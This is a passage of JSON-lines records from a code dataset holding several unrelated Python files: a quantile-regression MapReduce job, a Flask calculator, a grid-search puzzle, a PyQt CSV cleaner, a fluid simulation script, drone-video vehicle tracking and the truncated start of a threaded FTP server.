As.shape\n\n p = np.ones(m) / self.size * self.ss\n for k in xrange(self.nx):\n coins = np.random.rand(m)\n ii = coins < p\n yield k, np.dot(np.diag(1/p[ii]), As[ii,]).tolist()\n\n\nclass Solve_Reducer:\n \"\"\"\n Solve the subproblem\n \"\"\"\n def __init__(self):\n self.tau_vec = [0.5, 0.75, 0.95]\n self.ntau = len(self.tau_vec)\n\n def __call__(self, key, values):\n #SAb = np.array([v for v in values])\n\n data = []\n for v in values:\n data += v\n\n SAb = np.array(data)\n m, n = SAb.shape\n\n x = np.zeros((n-1, self.ntau))\n for i in range(self.ntau):\n x[:,i] = quantreg_ipm(SAb[:,:n-1], SAb[:, n-1], self.tau_vec[i])\n\n key = [key, m]\n yield key, x.T.tolist()\n\n\nif __name__ == '__main__':\n import dumbo\n dumbo.run(Unif_Samp_Mapper, Solve_Reducer)\n","repo_name":"chocjy/randomized-quantile-regression-solvers","sub_path":"hadoop/src/quantreg_unifsamp_solve.py","file_name":"quantreg_unifsamp_solve.py","file_ext":"py","file_size_in_byte":1499,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"31"} +{"seq_id":"26557117136","text":"from flask import Flask, render_template, request\n\nfrom equations import Equations\nfrom postfixexpression import *\nfrom polynomialsolver import *\n\napp = Flask(__name__)\n\n\n@app.route('/', methods=['GET', 'POST'])\ndef index():\n if request.method == 'GET':\n return render_template('index.html')\n elif request.method == 'POST':\n err_start, err_end, message, expression = evaluate_infix(request.form['expression'])\n if err_start is None:\n return render_template('index.html', solution=message, expression=expression)\n else:\n if err_start != -1:\n return render_template('index.html',\n explanation=message,\n before_mistake=expression[:err_start],\n mistake=expression[err_start:err_end + 1],\n after_mistake=expression[err_end + 1:])\n else:\n return render_template('index.html',\n explanation=message,\n before_mistake=expression,\n mistake=\"\",\n after_mistake=\"\")\n\n\ndef evaluate_infix(expression):\n \"\"\"\n The highest level function for evaluation of expressions\n :param expression: string representing an infix expression\n :return: err_start, err_end, message, interpreted expression in case of any error,\n None, None, solution, interpreted_expression otherwise\n \"\"\"\n pat_unallowed = re.compile(r'([^A-Za-z0-9+\\-*/=.,\\s()])')\n if len(pat_unallowed.findall(expression)) > 0:\n pos = next(pat_unallowed.finditer(expression)).start()\n return pos, pos, \"Unallowed symbol detected: %s\" % expression[pos], expression\n\n if \"=\" in expression: # Solve an equation\n if expression.count(\"=\") > 1:\n pos = expression.index(\"=\") + expression[expression.index(\"=\") + 1:].index(\"=\") + 1\n return pos, pos, \"More than one '=' symbols in expression can't be interpreted\", expression\n\n result = Equations.solve(*expression.split(\"=\"))\n if len(result) == 4:\n return result\n else:\n try:\n varname = result[0]\n polynomial = result[1]\n interpreted_expression = result[2]\n except (TypeError, IndexError):\n return -1, -1, \"Something has gone terribly wrong\", expression\n else:\n postfix_expression = PostfixExpression(expression)\n interpreted_expression = postfix_expression.interpreted_expression\n if postfix_expression.error_msg is not None:\n pos = postfix_expression.error_place\n return pos[0], pos[1], postfix_expression.error_msg, interpreted_expression\n else:\n varname = \"\"\n polynomial = postfix_expression.result.polynomial\n\n solver = PolynomialSolver()\n try:\n # Take the first (and the only) solution\n result = solver.solve(polynomial)[0]\n except NotImplementedError as e:\n return -1, -1, e.args[0], expression\n if result[1] == 0:\n if '=' in expression:\n return -1, -1, \"The expression doesn't have a variable \" + \\\n \"(or the coefficient before it is 0), but \" + \\\n \"has a '=' sign. It cannot be interpreted.\", expression\n # Formatting the result\n num_result = result[0] if math.floor(result[0]) != result[0] else math.floor(result[0])\n return None, None, str(num_result), interpreted_expression\n else:\n if '=' not in expression:\n return -1, -1, \"The expression has variables but doesn't have '=' sign.\" + \\\n \"Should it be treated as equation?\", expression\n # Formatting the result\n num_result = result[0] if math.floor(result[0]) != result[0] else math.floor(result[0])\n return None, None, varname + ' = ' + str(num_result), interpreted_expression\n\nif __name__ == '__main__':\n import argparse\n parser = argparse.ArgumentParser(description='Development Server Help')\n parser.add_argument(\"-d\", \"--debug\", action=\"store_true\", dest=\"debug_mode\",\n help=\"run in debug mode (for use with PyCharm)\", default=False)\n parser.add_argument(\"-p\", \"--port\", dest=\"port\",\n help=\"port of server (default:%(default)s)\", type=int, default=5000)\n\n cmd_args = parser.parse_args()\n app_options = {\"port\": cmd_args.port }\n\n if cmd_args.debug_mode:\n app_options[\"debug\"] = True\n app_options[\"use_debugger\"] = False\n app_options[\"use_reloader\"] = False\n\n app.run(**app_options)\n","repo_name":"artemkondyukov/scientific_calculator","sub_path":"calculator.py","file_name":"calculator.py","file_ext":"py","file_size_in_byte":4743,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"69804514969","text":"def movingCount(m: int, n: int, k: int) -> int:\n def cal(first, second):\n total = 0\n while first != 0:\n total += first % 10\n first //= 10\n while second != 0:\n total += second % 10\n second //= 10\n \n return total\n\n result = list()\n def dfs(row, col):\n if not 0 <= row < m or not 0 <= col < n or cal(row, col) > k:\n return\n \n if row * n + col in result:\n return\n\n result.append(row * n + col)\n dfs(row - 1, col)\n dfs(row + 1, col)\n dfs(row, col + 1)\n dfs(row, col - 1)\n \n dfs(0, 0)\n return len(result)\n\nif __name__ == \"__main__\":\n print(movingCount(m = 2, n = 2, k = 10))\n","repo_name":"DengBoCong/Algorithm","sub_path":"core/tmp/Python/refer-offer/ji_qi_ren_de_yun_dong_fan_wei_lcof.py","file_name":"ji_qi_ren_de_yun_dong_fan_wei_lcof.py","file_ext":"py","file_size_in_byte":747,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"31"} +{"seq_id":"5981939285","text":"from PyQt5 import QtCore, QtGui, QtWidgets\nfrom EmptyRows import Ui_EmptyRows_Page\nfrom WrongData import Ui_WrongData_page\nfrom WrongFormat import Ui_WrongFormat_page\nfrom Describe import Ui_File_watcher\nimport pandas as pd\n\n\nclass Ui_Options_Page(object):\n\n def Empty_Rows_Page(self):\n self.window3 = QtWidgets.QMainWindow()\n self.me = Ui_EmptyRows_Page()\n self.me.setupUi(self.window3)\n self.window3.show()\n \n def Wrong_Data_Page(self):\n self.window4 = QtWidgets.QMainWindow()\n self.you = Ui_WrongData_page()\n self.you.setupUi(self.window4)\n self.window4.show()\n \n def Wrong_Format_Page(self):\n self.window5 = QtWidgets.QMainWindow()\n self.we = Ui_WrongFormat_page()\n self.we.setupUi(self.window5)\n self.window5.show()\n \n def File_Watcher_page(self):\n self.window6 = QtWidgets.QMainWindow()\n self.tommas = Ui_File_watcher()\n self.tommas.setupUi(self.window6)\n self.window6.show()\n\n def setupUi(self, Options_Page):\n Options_Page.setObjectName(\"Options_Page\")\n Options_Page.resize(601, 635)\n self.centralwidget = QtWidgets.QWidget(Options_Page)\n self.centralwidget.setObjectName(\"centralwidget\")\n \n self.clean_label = QtWidgets.QLabel(self.centralwidget)\n self.clean_label.setGeometry(QtCore.QRect(10, 10, 581, 51))\n font = QtGui.QFont()\n font.setPointSize(14)\n self.clean_label.setFont(font)\n self.clean_label.setFrameShape(QtWidgets.QFrame.Box)\n self.clean_label.setFrameShadow(QtWidgets.QFrame.Sunken)\n self.clean_label.setAlignment(QtCore.Qt.AlignCenter)\n self.clean_label.setObjectName(\"clean_label\")\n \n self.empty_button = QtWidgets.QPushButton(self.centralwidget)\n self.empty_button.setGeometry(QtCore.QRect(10, 445, 131, 56))\n font = QtGui.QFont()\n font.setPointSize(10)\n self.empty_button.setFont(font)\n self.empty_button.setStyleSheet(\"background-color: rgb(255, 255, 127);\")\n self.empty_button.setObjectName(\"empty_button\")\n\n# --------------------------------------- SECRET LABEL --------------------------------------- #\n self.secret_label = QtWidgets.QLabel(self.centralwidget)\n self.secret_label.setGeometry(QtCore.QRect(200, 56, 300, 15))\n self.secret_label.setStyleSheet(\"color: rgb(240, 240, 240);\")\n self.secret_label.setObjectName(\"secret_label\")\n\n# -------------------------------------------------------------------------------------------- #\n \n self.wrong_format_button = QtWidgets.QPushButton(self.centralwidget)\n self.wrong_format_button.setGeometry(QtCore.QRect(160, 445, 131, 56))\n font = QtGui.QFont()\n font.setPointSize(10)\n self.wrong_format_button.setFont(font)\n self.wrong_format_button.setStyleSheet(\"background-color: rgb(170, 255, 127);\")\n self.wrong_format_button.setObjectName(\"wrong_format_button\")\n \n self.wrong_data_button = QtWidgets.QPushButton(self.centralwidget)\n self.wrong_data_button.setGeometry(QtCore.QRect(310, 445, 131, 56))\n font = QtGui.QFont()\n font.setPointSize(10)\n self.wrong_data_button.setFont(font)\n self.wrong_data_button.setStyleSheet(\"background-color: rgb(170, 255, 255);\")\n self.wrong_data_button.setObjectName(\"wrong_data_button\")\n \n self.dublicate_button = QtWidgets.QPushButton(self.centralwidget)\n self.dublicate_button.setGeometry(QtCore.QRect(460, 445, 131, 56))\n font = QtGui.QFont()\n font.setPointSize(10)\n self.dublicate_button.setFont(font)\n self.dublicate_button.setStyleSheet(\"background-color: rgb(249, 249, 187);\")\n self.dublicate_button.setObjectName(\"dublicate_button\")\n\n self.open_button = QtWidgets.QPushButton(self.centralwidget)\n self.open_button.setGeometry(QtCore.QRect(65, 510, 470, 41))\n font = QtGui.QFont()\n font.setPointSize(11)\n self.open_button.setFont(font)\n self.open_button.setStyleSheet(\"background-color: rgb(0, 186, 136);\")\n self.open_button.setObjectName(\"open_button\")\n \n self.exit_button = QtWidgets.QPushButton(self.centralwidget)\n self.exit_button.setGeometry(QtCore.QRect(141, 560, 319, 41))\n font = QtGui.QFont()\n font.setPointSize(11)\n self.exit_button.setFont(font)\n self.exit_button.setStyleSheet(\"background-color: rgb(212, 212, 159);\")\n self.exit_button.setObjectName(\"exit_button\")\n \n self.extra_label = QtWidgets.QLabel(self.centralwidget)\n self.extra_label.setGeometry(QtCore.QRect(10, 70, 581, 280))\n font = QtGui.QFont()\n font.setPointSize(12)\n self.extra_label.setFont(font)\n self.extra_label.setFrameShape(QtWidgets.QFrame.Box)\n self.extra_label.setFrameShadow(QtWidgets.QFrame.Sunken)\n self.extra_label.setText(\"\")\n self.extra_label.setPixmap(QtGui.QPixmap(\"hint.jpg\"))\n self.extra_label.setScaledContents(True)\n self.extra_label.setAlignment(QtCore.Qt.AlignCenter)\n self.extra_label.setWordWrap(True)\n self.extra_label.setObjectName(\"extra_label\")\n\n self.done_label = QtWidgets.QLabel(self.centralwidget)\n self.done_label.setGeometry(QtCore.QRect(10, 360, 581, 70))\n font = QtGui.QFont()\n font.setPointSize(14)\n self.done_label.setFont(font)\n self.done_label.setFrameShape(QtWidgets.QFrame.Box)\n self.done_label.setFrameShadow(QtWidgets.QFrame.Sunken)\n self.done_label.setAlignment(QtCore.Qt.AlignCenter)\n self.done_label.setObjectName(\"done_label\")\n \n Options_Page.setCentralWidget(self.centralwidget)\n self.statusbar = QtWidgets.QStatusBar(Options_Page)\n self.statusbar.setObjectName(\"statusbar\")\n Options_Page.setStatusBar(self.statusbar)\n\n self.retranslateUi(Options_Page)\n QtCore.QMetaObject.connectSlotsByName(Options_Page)\n\n# ------------------------------------------------ LOGIC -------------------------------------- #\n # Call button methods from here:\n self.empty_button.clicked.connect(self.Empty_Rows_Page)\n self.empty_button.clicked.connect(self.Write_On_Empty)\n self.empty_button.clicked.connect(Options_Page.close)\n\n self.wrong_format_button.clicked.connect(self.Wrong_Format_Page)\n self.wrong_format_button.clicked.connect(self.Write_On_WrongFormat)\n self.wrong_format_button.clicked.connect(Options_Page.close)\n\n self.wrong_data_button.clicked.connect(self.Wrong_Data_Page)\n self.wrong_data_button.clicked.connect(self.Write_On_WrongData)\n self.wrong_data_button.clicked.connect(Options_Page.close)\n\n self.dublicate_button.clicked.connect(self.Remove_Dublicate_Rows)\n\n self.open_button.clicked.connect(self.File_Watcher_page)\n self.open_button.clicked.connect(self.Write_On_Describe)\n self.open_button.clicked.connect(Options_Page.close)\n\n self.exit_button.clicked.connect(Options_Page.close)\n\n \n # define EmptyRows_Page write method:\n def Write_On_Empty(self):\n newname = self.secret_label.text()\n self.me.secret_empty_label_new.setText(f'{newname}')\n \n def Write_On_WrongFormat(self):\n newname = self.secret_label.text()\n self.we.format_secret_label.setText(f'{newname}')\n \n def Write_On_WrongData(self):\n newname = self.secret_label.text()\n self.you.data_secret_label.setText(f'{newname}')\n \n def Write_On_Describe(self):\n newname = self.secret_label.text()\n self.tommas.silent_label.setText(f'{newname}')\n \n # define method for remove dublicate button:\n def Remove_Dublicate_Rows(self):\n file_name = self.secret_label.text()\n df = pd.read_csv(f'{file_name}')\n Boolean_List = list(df.duplicated())\n Quantity = Boolean_List.count(True)\n\n if Quantity >= 1:\n df.drop_duplicates(inplace=True)\n self.done_label.setText(\"Dublicated Rows Have Been Removed Permanently!\")\n self.done_label.setStyleSheet(\"background-color: rgb(170, 255, 127);\")\n else:\n self.done_label.setText(\"File Does Not Contain Any Dublicated Rows!\")\n self.done_label.setStyleSheet(\"background-color: rgb(170, 255, 255);\")\n \n df.to_csv(f'{file_name}', index=False)\n \n \n# ------------------------------------------------- END --------------------------------------- #\n\n def retranslateUi(self, Options_Page):\n _translate = QtCore.QCoreApplication.translate\n Options_Page.setWindowTitle(_translate(\"Options_Page\", \"MainWindow\"))\n self.clean_label.setText(_translate(\"Options_Page\", \"Let\\'s Clean Data - Choose Option You Want!\"))\n self.empty_button.setText(_translate(\"Options_Page\", \"Clean Empty Cells\"))\n self.wrong_format_button.setText(_translate(\"Options_Page\", \"Clean Wrong Format\"))\n self.wrong_data_button.setText(_translate(\"Options_Page\", \"Clean Wrong Data\"))\n self.dublicate_button.setText(_translate(\"Options_Page\", \"Remove Dublicates\"))\n self.exit_button.setText(_translate(\"Options_Page\", \"Save Changes and Exit!\"))\n self.open_button.setText(_translate(\"Options_Page\", \"Open CSV File\"))\n self.secret_label.setText(_translate(\"Options_Page\", \"\"))\n self.done_label.setText(_translate(\"Options_Page\", \"\"))\n\nif __name__ == \"__main__\":\n import sys\n app = QtWidgets.QApplication(sys.argv)\n Options_Page = QtWidgets.QMainWindow()\n ui = Ui_Options_Page()\n ui.setupUi(Options_Page)\n Options_Page.show()\n sys.exit(app.exec_())\n","repo_name":"Nika-Chinchaladze/CSV_File_Cleaner_Application","sub_path":"Options.py","file_name":"Options.py","file_ext":"py","file_size_in_byte":9750,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"2579401325","text":"#!/usr/bin/env python\n\n# Import sphere functionality\nfrom sphere import *\nimport sys\n\n### EXPERIMENT SETUP ###\ninitialization = True\nconsolidation = True\n#shearing = True\nrendering = False\nplots\t = True\n\n\n\n# Number of particles\n#np = 2e2\nnp = 1e4\n\n# Common simulation id\nsim_id = \"darcy\"\n\n# Deviatoric stress [Pa]\n#devs = 10e3\ndevslist = [10.0e3]\n\n### INITIALIZATION ###\n\n# New class\ninit = Spherebin(np = np, nd = 3, nw = 0, sid = sim_id + \"-init\")\n\n# Save radii\ninit.generateRadii(radius_mean = 0.05)\n\n# Use default params\ninit.defaultParams(mu_s = 0.4, mu_d = 0.4, nu = 8.9e-4)\n\n# Initialize positions in random grid (also sets world size)\n#init.initRandomGridPos(gridnum = numpy.array([9, 9, 1000]), periodic = 1, contactmodel = 2)\n#init.initRandomGridPos(gridnum = numpy.array([10, 10, 1000]), periodic = 1, contactmodel = 1)\n#init.initRandomGridPos(gridnum = numpy.array([32, 32, 1000]), periodic = 1, contactmodel = 2)\ninit.initRandomGridPos(gridnum = numpy.array([32, 32, 1000]), periodic = 1, contactmodel = 1)\n\n# Bond ~30% of the particles\n#init.random2bonds(spacing=0.1)\n\n# Set duration of simulation\ninit.initTemporal(total = 1.0)\n#init.initTemporal(total = 0.01)\ninit.time_file_dt[0] = 0.05\n#init.time_file_dt[0] = init.time_dt[0]*0.99\n#init.time_total[0] = init.time_dt[0]*2.0\n#init.initTemporal(total = 0.5)\n#init.time_dt[0] = 1.0e-5;\n\ninit.f_rho[2,2,4] = 1.1\n#init.f_rho[6,6,10] = 1.1\n#init.f_rho[:,:,-1] = 1.0001\n\nif (initialization == True):\n\n # Write input file for sphere\n init.writebin()\n\n # Run sphere\n init.run(dry=True)\n init.run(darcyflow=True)\n\n\n if (plots == True):\n # Make a graph of energies\n visualize(init.sid, \"energy\", savefig=True, outformat='png')\n\n if (rendering == True):\n # Render images with raytracer\n init.render(method = \"pres\", max_val = 2.0*devs, verbose = False)\n\n project = init.sid\n lastfile = status(init.sid)\n sb = Spherebin()\n for i in range(lastfile+1):\n fn = \"../output/{0}.output{1:0=5}.bin\".format(project, i)\n sb.sid = project + \".output{:0=5}\".format(i)\n sb.readbin(fn, verbose = False)\n for y in range(0,sb.num[1]):\n sb.plotFluidDensities(y = y)\n sb.plotFluidVelocities(y = y)\n","repo_name":"marwamiro/sphere","sub_path":"python/darcy.py","file_name":"darcy.py","file_ext":"py","file_size_in_byte":2263,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"31"} +{"seq_id":"28739368872","text":"import os\nimport cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom typing import Tuple\nfrom loguru import logger\nfrom alive_progress import alive_bar\nfrom utils import clean_duplicate, classify_color, count_num_of_vehicles, COLOR_LUT\n\n\nclass DroneVideo:\n\n def __init__(self, video_name: str):\n\n self._video_name = video_name\n\n self._feature_params = dict(maxCorners=10000,\n qualityLevel=0.01,\n minDistance=10,\n blockSize=5)\n self._lk_params = dict(winSize=(15, 15),\n maxLevel=15,\n criteria=(cv2.TERM_CRITERIA_EPS | cv2.TERM_CRITERIA_COUNT,\n 10, 0.03))\n\n self._original_video: cv2.VideoCapture = self.__load_video()\n self._stabilized_video: cv2.VideoCapture = self._original_video\n\n def __load_video(self) -> cv2.VideoCapture:\n \"\"\"\n This method loads and inserts the video for the DroneVideo class\n :return:\n \"\"\"\n return cv2.VideoCapture(self._video_name)\n\n @staticmethod\n def play_video(video: cv2.VideoCapture) -> None:\n \"\"\"\n This method displays the inserted video of the DroneVideo class\n :param video: (cv2.VideoCapture) a video to display\n :return:\n \"\"\"\n while True:\n\n ret, frame = video.read() # read next frame\n\n if ret:\n cv2.imshow('Video', frame)\n if cv2.waitKey(1) & 0xff == 27: # ESC key pressed?\n break\n else:\n break\n\n video.release() # release input video\n cv2.destroyAllWindows() # delete output window\n cv2.waitKey(1)\n\n def cut_black_edges(self):\n\n _, frame0 = self._stabilized_video.read()\n frame0 = frame0[260:1270, 705:1750]\n frame0 = cv2.resize(frame0, (600, 600))\n\n h, w, _ = frame0.shape\n FPS = self._stabilized_video.get(cv2.CAP_PROP_FPS)\n fourcc = cv2.VideoWriter_fourcc('M', 'J', 'P', 'G')\n output_name = 'P1_roundabout_Stabilized_cut.avi'\n out = cv2.VideoWriter(output_name, fourcc, FPS, (w, h))\n\n while True:\n ret, frame1 = self._stabilized_video.read() # read next frame\n\n if ret:\n frame1 = frame1[270:1270, 705:1750]\n frame1 = cv2.resize(frame1, (600, 600))\n # cv2.imshow('WINDOW_NAME', frame1)\n out.write(frame1)\n if cv2.waitKey(1) & 0xff == 27: # ESC key pressed?\n break\n else:\n break\n\n self._stabilized_video = cv2.VideoCapture(os.path.join(os.getcwd(), f\"{output_name}\"))\n out.release() # release output video\n cv2.destroyAllWindows() # delete output window\n cv2.waitKey(1)\n\n def stabilize_video(self, N: int = 250) -> None:\n \"\"\"\n\n :param N:\n :return:\n \"\"\"\n logger.info(\"Starts stabilizing the Video ... \")\n _, frame_prev = self._original_video.read()\n\n frame_prev = cv2.copyMakeBorder(frame_prev, N, N, N, N, cv2.BORDER_CONSTANT)\n frame_prev_gray = cv2.cvtColor(frame_prev, cv2.COLOR_BGR2GRAY)\n\n # generate a mask for the roundabout's middle as an 'anchor points'\n mask_of_roundabout = np.zeros_like(frame_prev_gray)\n mask_of_roundabout[400:1150, 900:1590] = 255\n\n pts_prev = cv2.goodFeaturesToTrack(frame_prev_gray,\n mask=mask_of_roundabout,\n **self._feature_params)\n pts_ref = pts_prev.copy()\n h, w = frame_prev_gray.shape\n\n FPS = self._original_video.get(cv2.CAP_PROP_FPS)\n fourcc = cv2.VideoWriter_fourcc('M', 'J', 'P', 'G')\n output_name = 'P1_roundabout_Stabilized.avi'\n out = cv2.VideoWriter(output_name, fourcc, FPS, (w, h))\n\n while True:\n ret, frame_next = self._original_video.read()\n if ret:\n\n frame_next = cv2.copyMakeBorder(frame_next, N, N, N, N, cv2.BORDER_CONSTANT)\n frame_next_gray = cv2.cvtColor(frame_next, cv2.COLOR_BGR2GRAY)\n\n # the optical flow is being done among the previous frame's good points and the next frame's good points\n pts_next, status, err = cv2.calcOpticalFlowPyrLK(frame_prev_gray,\n frame_next_gray,\n pts_prev,\n None,\n **self._lk_params)\n\n pts_next = pts_next[status[:, 0] == 1]\n pts_ref = pts_ref[status[:, 0] == 1]\n\n # calculate homography among the anchor points and the next points\n H, _ = cv2.findHomography(pts_next, pts_ref, cv2.RANSAC, 22.0)\n frame_next_warp = cv2.warpPerspective(frame_next, H, (w, h))\n\n frame_prev_gray = frame_next_gray\n pts_prev = pts_next\n out.write(frame_next_warp)\n\n if cv2.waitKey(1) & 0xff == 27:\n break\n\n else:\n break\n\n self._stabilized_video = cv2.VideoCapture(os.path.join(os.getcwd(), f\"{output_name}\"))\n self.cut_black_edges()\n out.release()\n cv2.destroyAllWindows()\n cv2.waitKey(1)\n logger.success(\"finished stabilizing the Video ... \")\n\n def display_stab(self):\n\n cap = self._stabilized_video\n\n while True:\n ret, frame1 = cap.read() # read next frame\n\n if ret:\n cv2.imshow('WINDOW_NAME', frame1)\n if cv2.waitKey(1) & 0xff == 27: # ESC key pressed?\n break\n else:\n break\n\n cap.release() # release input video\n cv2.destroyAllWindows() # delete output window\n cv2.waitKey(1)\n\n def generate_final_results(self) -> None:\n \"\"\"\n\n :return:\n \"\"\"\n self._feature_params = dict(maxCorners=15,\n qualityLevel=0.2,\n minDistance=60,\n blockSize=2)\n\n self._lk_params = dict(winSize=(15, 15), maxLevel=5, criteria=(cv2.TERM_CRITERIA_EPS\n | cv2.TERM_CRITERIA_COUNT, 10, 0.03))\n\n ret, F0 = self._stabilized_video.read() # read first frame\n F0_gray = cv2.cvtColor(F0, cv2.COLOR_BGR2GRAY) # convert the first frame to gray scale\n\n # Creating a mask for looking for good points to track only in the roads\n\n mask = np.zeros_like(F0_gray)\n mask = cv2.circle(mask, (300, 290), 290, thickness=-1, color=255)\n mask = cv2.circle(mask, (300, 300), 160, thickness=-1, color=0)\n\n pts0 = cv2.goodFeaturesToTrack(F0_gray, mask=mask, **self._feature_params) # looking for a good points to track\n canvas = np.zeros_like(F0)\n canvas1 = np.zeros_like(F0)\n counter = 0\n\n while True:\n\n ret, F1 = self._stabilized_video.read() # read next frame\n\n if ret:\n\n F1_gray = cv2.cvtColor(F1, cv2.COLOR_BGR2GRAY) # convert to gray scale\n\n pts1, status, err = cv2.calcOpticalFlowPyrLK(F0_gray, F1_gray, pts0, None,\n **self._lk_params) # calculate Optical Flow\n\n # Delete untracking points\n pts1 = pts1[status[:, 0] == 1]\n pts0 = pts0[status[:, 0] == 1]\n\n std = 2 # define a a standart diviation\n\n new = []\n # checking which point is actually moving , if it is moving so append it to 'new' list\n\n for i in range(pts0.shape[0]):\n if (np.abs(pts0[i][0][0] - pts1[i][0][0]) > std) or (np.abs(pts0[i][0][1] - pts1[i][0][1]) > std):\n new.append([pts1[i][0][0], pts1[i][0][1]])\n\n new = np.asarray(new)\n\n # draw the moving points\n for i in range(new.shape[0]):\n\n cv2.circle(canvas1, (int(new[i][0]), int(new[i][1])), 4, (255, 255, 0), -1)\n cv2.circle(canvas, (int(new[i][0]), int(new[i][1])), 2, (255, 255, 255), -1)\n\n cv2.rectangle(F1, (int(new[i][0]) - 25, int(new[i][1]) - 25),\n (20 + int(new[i][0]), 20 + int(new[i][1])), (255, 50, 50), 2)\n if 600 > int(new[i][0]) > 30 and 30 < int(new[i][1]) < 600:\n color222 = classify_color(int(new[i][0]), int(new[i][1]), F1, (18, 6))\n\n # ========== Option to show the final result with color identifier\n # cv2.putText(F1, f\"Vehicle {color222}\",(20+int(new[i][0]), 20+int(new[i][1])),\n # cv2.FONT_HERSHEY_PLAIN,1, (0,0,250), 2 )\n # # ==========Option to show the final result without color identifier\n cv2.putText(F1, f\"Vehicle \", (20 + int(new[i][0]), 20 + int(new[i][1])), cv2.FONT_HERSHEY_PLAIN, 1,\n (0, 0, 250), 2)\n\n pts0 = new\n pts0 = np.reshape(pts0, (pts0.shape[0], 1, pts0.shape[1])) # reshape pts0 into appropiate format\n\n # Generate a heatmap\n # bluring canvas and apply a color map\n\n blur = cv2.GaussianBlur(canvas, (0, 0), 6)\n\n heatmap = cv2.applyColorMap(blur, cv2.COLORMAP_HOT)\n\n canvas1 = np.uint8(canvas1 * 0.8) # fade out canvas1\n final = cv2.add(F1, canvas1)\n\n # add final and heatmap to show it later\n w = cv2.addWeighted(final, 1, heatmap, 0.55, 0)\n\n counter += 1\n\n # every 25 frames we look for new points to track\n if counter % 25 == 0:\n new_points = cv2.goodFeaturesToTrack(F1_gray, mask=mask, **self._feature_params)\n r = clean_duplicate(new_points, pts0)\n\n # add new_points to pts0\n\n new_points = new_points[r]\n pts0 = np.vstack((pts0, new_points))\n\n cv2.putText(w, f\"Vehicle's Number :{count_num_of_vehicles(pts0, mask)}\", (110, 300), 3, 1, (0, 255, 255))\n\n # Show results\n # ================= Videos of the final result =======================================\n # =========Video w ->> The Final result =========================\n cv2.imshow('w', w)\n cv2.imshow('blur', blur)\n # =========Video heatmap -->> shows only heatmap =======================================\n cv2.imshow('heatmap', heatmap)\n # ========= Video F1 -->> shows the Video with labels ==================================\n cv2.imshow('F1', F1)\n # =========== Video canvas -->> shows the pre-stage before heatmap ======================\n cv2.imshow('canvas', canvas)\n\n F0_gray = F1_gray\n\n if cv2.waitKey(10) & 0xff == 27: # ESC key pressed?\n break\n else:\n break\n\n self._stabilized_video.release() # release input video\n cv2.destroyAllWindows() # delete output window\n cv2.waitKey(1)\n","repo_name":"Raviv-Herrera/Roundabout-Traffic-Analysis-from-a-drone","sub_path":"video_class.py","file_name":"video_class.py","file_ext":"py","file_size_in_byte":11648,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"20270875050","text":"import threading\nimport socket\nimport selectors\nimport queue\nimport os\nimport sys\nimport time\nimport stat\nimport pwd\nimport grp\nimport shutil\nfrom functools import wraps\n\n#------------------------------------------------#\n## Initialisation des parametres de ftp ##\n#------------------------------------------------#\n\nHOST = socket.gethostbyname(socket.gethostname())\nPORT = 21\nCLIENT_size = 5\n\n\ndef str_color(string, color) -> str:\n return \"\\033[\"+str(color)+\"m\" + str(string) + \"\\033[0m \"\n\n\ndef log(obj=None, description=None):\n timemsg = time.strftime(\"%Y-%m-%d %H-%M-%S \")\n print((str_color(timemsg, 31)+(str_color(obj, 33)if obj != None else \"\") +\n (str_color(description, 32)if description != None else \"\")))\n\n\n#-------------------------#\n## Ftp threading serveur ##\n#-------------------------#\n\nclass FTPServer:\n def __init__(self, host=\"127.0.0.1\", port=21, client_size=5, allow_delete=True):\n self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n self.addr = (host, port)\n self.client_size = client_size\n self.allow_delete = allow_delete\n\n self.__stop_request = threading.Event()\n self.__is_stop = False\n self.clients = {}\n self.selector = selectors.DefaultSelector()\n\n self.codes_rep = self.Codes_rep()\n self.cmds_list = self.Cmds_list()\n\n self.initial()\n\n \n \n def initial(self):\n self.authenticated = False\n self.username = None\n self.passwd = None\n\n self.mode_is_Ascii = False\n\n self.pathname = os.getenv(\"HOME\")\n\n self.pasv_mode = True\n self.serverSock = None\n\n self.pos = 0\n self.rest = False\n self.dataSock, self.dataAddress = None, None\n\n self.oldname = None\n\n #----------------------#\n ## Ftp serveur outils ##\n #----------------------#\n\n def ftp_config(func):\n @wraps(func)\n def _deco(self, *args):\n if not len(args) > 1:\n log(func.__name__, *args)\n else:\n log(func.__name__, *args[1:])\n if self.authenticated:\n return func(self, *args)\n else:\n return self.sendCommand(530)\n return _deco\n\n def fileProperty(self, direntry):\n \"\"\"\n return information from given file, like this \"-rw-r--r-- 1 User Group 312 Aug 1 2014 filename\"\n \"\"\"\n st = direntry.stat()\n fileMessage = []\n\n def _getFileMode():\n modes = [\n stat.S_IRUSR, stat.S_IWUSR, stat.S_IXUSR,\n stat.S_IRGRP, stat.S_IWGRP, stat.S_IXGRP,\n stat.S_IROTH, stat.S_IWOTH, stat.S_IXOTH,\n ]\n mode = st.st_mode\n fullmode = \"\"\n fullmode += direntry.is_dir() and \"d\" or \"-\"\n\n for i in range(9):\n fullmode += bool(mode & modes[i]) and \"rwxrwxrwx\"[i] or \"-\"\n return fullmode\n\n def _getFilesNumber():\n return str(st.st_nlink)\n\n def _getUser():\n return pwd.getpwuid(st.st_uid).pw_name\n\n def _getGroup():\n return grp.getgrgid(st.st_gid).gr_name\n\n def _getSize():\n return str(st.st_size)\n\n def _getLastTime():\n return time.strftime(\"%b %d %H:%M\", time.gmtime(st.st_mtime))\n for func in (\"_getFileMode()\", \"_getFilesNumber()\", \"_getUser()\", \"_getGroup()\", \"_getSize()\", \"_getLastTime()\"):\n fileMessage.append(eval(func))\n fileMessage.append(direntry.name)\n return \" \".join(fileMessage)\n\n def sendCommand(self, code, arg: str = None):\n result = self.codes_rep.get_code_rep(code)\n if arg:\n result += \" \" + arg\n result += \"\\n\"\n return result.encode(\"utf-8\")\n\n @ftp_config\n def startDataSock(self):\n if self.pasv_mode:\n self.dataSock, self.dataAddress = 